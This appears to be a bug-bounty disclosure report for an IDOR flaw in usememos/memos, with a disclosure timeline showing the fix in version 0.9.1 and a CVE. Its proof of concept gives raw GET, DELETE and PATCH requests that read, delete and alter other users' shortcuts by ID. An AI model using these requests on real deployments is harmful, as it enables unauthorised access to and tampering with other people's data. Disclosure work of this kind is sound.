IDOR allows to see, update and delete other users shortcuts in usememos/memos

Valid

Reported on

Dec 26th 2022


Description

Even if the endpoint /api/shortcut allow to see the list of your own shortcuts, it is possible to access, modify and delete other users shortcut accessing directly through the IDs.

Proof of Concept

  • Login with one user, and create a shortcut, let's consider it now has the ID 1
  • Login with another user

Now you are able to access to the shortcut with this:

GET /api/shortcut/1 HTTP/1.1
Host: localhost:5230

You can also delete it:

DELETE /api/shortcut/1 HTTP/1.1
Host: localhost:5230

And update it

PATCH /api/shortcut/1 HTTP/1.1
Host: localhost:5230

{"id":1,"title":"changed 2","payload":"[]"}

Impact

With this vulnerability, any user can access and manipulate other users shortcuts.

Occurrences

Add the CreatorID in the query. Also do it for PATCH and DELETE

We are processing your report and will contact the usememos/memos team within 24 hours. a year ago
A GitHub Issue asking the maintainers to create a SECURITY.md exists a year ago
leorac modified the report
a year ago
We have contacted a member of the usememos/memos team and are waiting to hear back a year ago
STEVEN validated this vulnerability a year ago
leorac has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
STEVEN marked this as fixed in 0.9.1 with commit 3556ae a year ago
STEVEN has been awarded the fix bounty
This vulnerability has been assigned a CVE
STEVEN published this vulnerability a year ago
shortcut.go#L79 has been validated
to join this conversation